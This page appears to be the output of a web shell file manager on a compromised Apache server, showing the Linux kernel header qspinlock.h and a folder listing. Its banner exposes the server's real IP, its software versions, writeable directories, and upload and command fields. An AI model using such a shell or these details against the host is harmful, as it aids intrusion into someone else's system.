p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/asm-generic/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/asm-generic/qspinlock.h
/*
 * Queued spinlock
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * (C) Copyright 2013-2015 Hewlett-Packard Development Company, L.P.
 *
 * Authors: Waiman Long <waiman.long@hp.com>
 */
#ifndef __ASM_GENERIC_QSPINLOCK_H
#define __ASM_GENERIC_QSPINLOCK_H

#include <asm-generic/qspinlock_types.h>

/**
 * queued_spin_unlock_wait - wait until the _current_ lock holder releases the lock
 * @lock : Pointer to queued spinlock structure
 *
 * There is a very slight possibility of live-lock if the lockers keep coming
 * and the waiter is just unfortunate enough to not see any unlock state.
 */
#ifndef queued_spin_unlock_wait
extern void queued_spin_unlock_wait(struct qspinlock *lock);
#endif

/**
 * queued_spin_is_locked - is the spinlock locked?
 * @lock: Pointer to queued spinlock structure
 * Return: 1 if it is locked, 0 otherwise
 */
#ifndef queued_spin_is_locked
static __always_inline int queued_spin_is_locked(struct qspinlock *lock)
{
	/*
	 * See queued_spin_unlock_wait().
	 *
	 * Any !0 state indicates it is locked, even if _Q_LOCKED_VAL
	 * isn't immediately observable.
	 */
	return atomic_read(&lock->val);
}
#endif

/**
 * queued_spin_value_unlocked - is the spinlock structure unlocked?
 * @lock: queued spinlock structure
 * Return: 1 if it is unlocked, 0 otherwise
 *
 * N.B. Whenever there are tasks waiting for the lock, it is considered
 *      locked wrt the lockref code to avoid lock stealing by the lockref
 *      code and change things underneath the lock. This also allows some
 *      optimizations to be applied without conflict with lockref.
 */
static __always_inline int queued_spin_value_unlocked(struct qspinlock lock)
{
	return !atomic_read(&lock.val);
}

/**
 * queued_spin_is_contended - check if the lock is contended
 * @lock : Pointer to queued spinlock structure
 * Return: 1 if lock contended, 0 otherwise
 */
static __always_inline int queued_spin_is_contended(struct qspinlock *lock)
{
	return atomic_read(&lock->val) & ~_Q_LOCKED_MASK;
}
/**
 * queued_spin_trylock - try to acquire the queued spinlock
 * @lock : Pointer to queued spinlock structure
 * Return: 1 if lock acquired, 0 if failed
 */
static __always_inline int queued_spin_trylock(struct qspinlock *lock)
{
	int val = atomic_read(&lock->val);

	if ((!val || (val == _Q_UNLOCKED_VAL)) &&
	   (atomic_cmpxchg(&lock->val, val, _Q_LOCKED_VAL) == val))
		return 1;
	return 0;
}

extern void queued_spin_lock_slowpath(struct qspinlock *lock, u32 val);

/**
 * queued_spin_lock - acquire a queued spinlock
 * @lock: Pointer to queued spinlock structure
 */
static __always_inline void queued_spin_lock(struct qspinlock *lock)
{
	u32 val;

	val = atomic_cmpxchg(&lock->val, 0, _Q_LOCKED_VAL);
	if (likely(val == 0))
		return;
	queued_spin_lock_slowpath(lock, val);
}

#ifndef queued_spin_unlock
/**
 * queued_spin_unlock - release a queued spinlock
 * @lock : Pointer to queued spinlock structure
 */
static __always_inline void queued_spin_unlock(struct qspinlock *lock)
{
	/*
	 * smp_mb__before_atomic() in order to guarantee release semantics
	 */
	smp_mb__before_atomic_dec();
	atomic_sub(_Q_LOCKED_VAL, &lock->val);
}
#endif

#ifndef virt_spin_lock
static __always_inline bool virt_spin_lock(struct qspinlock *lock)
{
	return false;
}
#endif

/*
 * Remapping spinlock architecture specific functions to the corresponding
 * queued spinlock functions.
 */
#define arch_spin_is_locked(l)		queued_spin_is_locked(l)
#define arch_spin_is_contended(l)	queued_spin_is_contended(l)
#define arch_spin_value_unlocked(l)	queued_spin_value_unlocked(l)
#define arch_spin_lock(l)		queued_spin_lock(l)
#define arch_spin_trylock(l)		queued_spin_trylock(l)
#define arch_spin_unlock(l)		queued_spin_unlock(l)
#define arch_spin_lock_flags(l, f)	queued_spin_lock(l)
#define arch_spin_unlock_wait(l)	queued_spin_unlock_wait(l)

#endif /* __ASM_GENERIC_QSPINLOCK_H */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
bitops
--
January 19 2024 08:12:48
0 / 0
0755
4level-fixup.h
1.004 KB
November 06 2023 09:15:52
0 / 0
0644
Kbuild.asm
0.043 KB
November 06 2023 09:15:52
0 / 0
0644
atomic-long.h
5.121 KB
November 06 2023 09:15:52
0 / 0
0644
atomic.h
4.346 KB
November 06 2023 09:15:52
0 / 0
0644
atomic64.h
1.797 KB
November 06 2023 09:15:52
0 / 0
0644
audit_change_attr.h
0.409 KB
November 06 2023 09:15:52
0 / 0
0644
audit_dir_write.h
0.45 KB
November 06 2023 09:15:52
0 / 0
0644
audit_read.h
0.197 KB
November 06 2023 09:15:52
0 / 0
0644
audit_signal.h
0.035 KB
November 06 2023 09:15:52
0 / 0
0644
audit_write.h
0.32 KB
November 06 2023 09:15:52
0 / 0
0644
barrier.h
2.486 KB
November 06 2023 09:15:52
0 / 0
0644
bitops.h
1.055 KB
November 06 2023 09:15:52
0 / 0
0644
bitsperlong.h
0.54 KB
November 06 2023 09:15:52
0 / 0
0644
bug.h
5.729 KB
November 06 2023 09:15:52
0 / 0
0644
bugs.h
0.223 KB
November 06 2023 09:15:52
0 / 0
0644
cache.h
0.337 KB
November 06 2023 09:15:52
0 / 0
0644
cacheflush.h
1.271 KB
November 06 2023 09:15:52
0 / 0
0644
checksum.h
2.236 KB
November 06 2023 09:15:52
0 / 0
0644
clkdev.h
0.657 KB
November 06 2023 09:15:52
0 / 0
0644
cmpxchg-local.h
1.38 KB
November 06 2023 09:15:52
0 / 0
0644
cmpxchg.h
2.311 KB
November 06 2023 09:15:52
0 / 0
0644
cputime.h
0.286 KB
November 06 2023 09:15:52
0 / 0
0644
cputime_jiffies.h
2.076 KB
November 06 2023 09:15:52
0 / 0
0644
cputime_nsecs.h
3.055 KB
November 06 2023 09:15:52
0 / 0
0644
current.h
0.212 KB
November 06 2023 09:15:52
0 / 0
0644
delay.h
1.092 KB
November 06 2023 09:15:52
0 / 0
0644
device.h
0.239 KB
November 06 2023 09:15:52
0 / 0
0644
div64.h
1.339 KB
November 06 2023 09:15:52
0 / 0
0644
dma-coherent.h
1.03 KB
November 06 2023 09:15:52
0 / 0
0644
dma.h
0.502 KB
November 06 2023 09:15:52
0 / 0
0644
emergency-restart.h
0.204 KB
November 06 2023 09:15:52
0 / 0
0644
exec.h
0.681 KB
November 06 2023 09:15:52
0 / 0
0644
fb.h
0.227 KB
November 06 2023 09:15:52
0 / 0
0644
ftrace.h
0.449 KB
November 06 2023 09:15:52
0 / 0
0644
futex.h
1.247 KB
November 06 2023 09:15:52
0 / 0
0644
getorder.h
1.414 KB
November 06 2023 09:15:52
0 / 0
0644
gpio.h
5.821 KB
November 06 2023 09:15:52
0 / 0
0644
hardirq.h
0.481 KB
November 06 2023 09:15:52
0 / 0
0644
hugetlb.h
0.74 KB
November 06 2023 09:15:52
0 / 0
0644
hw_irq.h
0.264 KB
November 06 2023 09:15:52
0 / 0
0644
ide_iops.h
0.734 KB
November 06 2023 09:15:52
0 / 0
0644
int-l64.h
0.851 KB
November 06 2023 09:15:52
0 / 0
0644
int-ll64.h
0.872 KB
November 06 2023 09:15:52
0 / 0
0644
io-64-nonatomic-hi-lo.h
0.59 KB
November 06 2023 09:15:52
0 / 0
0644
io-64-nonatomic-lo-hi.h
0.59 KB
November 06 2023 09:15:52
0 / 0
0644
io.h
19.255 KB
November 06 2023 09:15:52
0 / 0
0644
ioctl.h
0.387 KB
November 06 2023 09:15:52
0 / 0
0644
iomap.h
2.832 KB
November 06 2023 09:15:52
0 / 0
0644
irq.h
0.355 KB
November 06 2023 09:15:52
0 / 0
0644
irq_regs.h
0.957 KB
November 06 2023 09:15:52
0 / 0
0644
irq_work.h
0.15 KB
November 06 2023 09:15:52
0 / 0
0644
irqflags.h
1.469 KB
November 06 2023 09:15:52
0 / 0
0644
kdebug.h
0.14 KB
November 06 2023 09:15:52
0 / 0
0644
kexec.h
0.33 KB
November 06 2023 09:15:52
0 / 0
0644
kmap_types.h
0.155 KB
November 06 2023 09:15:52
0 / 0
0644
kvm_para.h
0.431 KB
November 06 2023 09:15:52
0 / 0
0644
libata-portmap.h
0.149 KB
November 06 2023 09:15:52
0 / 0
0644
linkage.h
0.22 KB
November 06 2023 09:15:52
0 / 0
0644
local.h
2.19 KB
November 06 2023 09:15:52
0 / 0
0644
local64.h
3.758 KB
November 06 2023 09:15:52
0 / 0
0644
memory_model.h
2.12 KB
November 06 2023 09:15:52
0 / 0
0644
mm-arch-hooks.h
0.379 KB
November 06 2023 09:15:52
0 / 0
0644
mm_hooks.h
0.938 KB
November 06 2023 09:15:52
0 / 0
0644
mmu.h
0.4 KB
November 06 2023 09:15:52
0 / 0
0644
mmu_context.h
0.915 KB
November 06 2023 09:15:52
0 / 0
0644
module.h
1.054 KB
November 06 2023 09:15:52
0 / 0
0644
mutex-dec.h
2.695 KB
November 06 2023 09:15:52
0 / 0
0644
mutex-null.h
0.633 KB
November 06 2023 09:15:52
0 / 0
0644
mutex-xchg.h
3.722 KB
November 06 2023 09:15:52
0 / 0
0644
mutex.h
0.25 KB
November 06 2023 09:15:52
0 / 0
0644
page.h
2.466 KB
November 06 2023 09:15:52
0 / 0
0644
param.h
0.32 KB
November 06 2023 09:15:52
0 / 0
0644
parport.h
0.552 KB
November 06 2023 09:15:52
0 / 0
0644
pci-dma-compat.h
0 KB
November 06 2023 09:15:52
0 / 0
0644
pci.h
0.529 KB
November 06 2023 09:15:52
0 / 0
0644
pci_iomap.h
1.496 KB
November 06 2023 09:15:52
0 / 0
0644
percpu.h
3.17 KB
November 06 2023 09:15:52
0 / 0
0644
pgalloc.h
0.296 KB
November 06 2023 09:15:52
0 / 0
0644
pgtable-nopmd.h
1.858 KB
November 06 2023 09:15:52
0 / 0
0644
pgtable-nopud.h
1.779 KB
November 06 2023 09:15:52
0 / 0
0644
pgtable.h
24.551 KB
November 06 2023 09:15:52
0 / 0
0644
ptrace.h
1.577 KB
November 06 2023 09:15:52
0 / 0
0644
qrwlock.h
5.279 KB
November 06 2023 09:15:52
0 / 0
0644
qrwlock_remap.h
1.495 KB
November 06 2023 09:15:52
0 / 0
0644
qrwlock_types.h
0.413 KB
November 06 2023 09:15:52
0 / 0
0644
qspinlock.h
4.218 KB
November 06 2023 09:15:52
0 / 0
0644
qspinlock_types.h
2.763 KB
November 06 2023 09:15:52
0 / 0
0644
resource.h
1.036 KB
November 06 2023 09:15:52
0 / 0
0644
rtc.h
5.334 KB
November 06 2023 09:15:52
0 / 0
0644
rwsem.h
2.521 KB
November 06 2023 09:15:52
0 / 0
0644
scatterlist.h
0.771 KB
November 06 2023 09:15:52
0 / 0
0644
sections.h
3.471 KB
November 06 2023 09:15:52
0 / 0
0644
segment.h
0.243 KB
November 06 2023 09:15:52
0 / 0
0644
serial.h
0.299 KB
November 06 2023 09:15:52
0 / 0
0644
siginfo.h
0.89 KB
November 06 2023 09:15:52
0 / 0
0644
signal.h
0.263 KB
November 06 2023 09:15:52
0 / 0
0644
sizes.h
0.076 KB
November 06 2023 09:15:52
0 / 0
0644
spinlock.h
0.283 KB
November 06 2023 09:15:52
0 / 0
0644
statfs.h
0.127 KB
November 06 2023 09:15:52
0 / 0
0644
string.h
0.274 KB
November 06 2023 09:15:52
0 / 0
0644
switch_to.h
0.969 KB
November 06 2023 09:15:52
0 / 0
0644
syscall.h
6.179 KB
November 06 2023 09:15:52
0 / 0
0644
syscalls.h
0.684 KB
November 06 2023 09:15:52
0 / 0
0644
termios-base.h
2.073 KB
November 06 2023 09:15:52
0 / 0
0644
termios.h
2.77 KB
November 06 2023 09:15:52
0 / 0
0644
timex.h
0.458 KB
November 06 2023 09:15:52
0 / 0
0644
tlb.h
6.997 KB
November 06 2023 09:15:52
0 / 0
0644
tlbflush.h
0.436 KB
November 06 2023 09:15:52
0 / 0
0644
topology.h
2.112 KB
November 06 2023 09:15:52
0 / 0
0644
trace_clock.h
0.344 KB
November 06 2023 09:15:52
0 / 0
0644
uaccess-unaligned.h
0.716 KB
November 06 2023 09:15:52
0 / 0
0644
uaccess.h
7.635 KB
November 06 2023 09:15:52
0 / 0
0644
unaligned.h
0.886 KB
November 06 2023 09:15:52
0 / 0
0644
unistd.h
0.272 KB
November 06 2023 09:15:52
0 / 0
0644
user.h
0.236 KB
November 06 2023 09:15:52
0 / 0
0644
vga.h
0.535 KB
November 06 2023 09:15:52
0 / 0
0644
vmlinux.lds.h
26.37 KB
November 06 2023 09:15:52
0 / 0
0644
vtime.h
0 KB
November 06 2023 09:15:52
0 / 0
0644
word-at-a-time.h
1.161 KB
November 06 2023 09:15:52
0 / 0
0644
xor.h
13.634 KB
November 06 2023 09:15:52
0 / 0
0644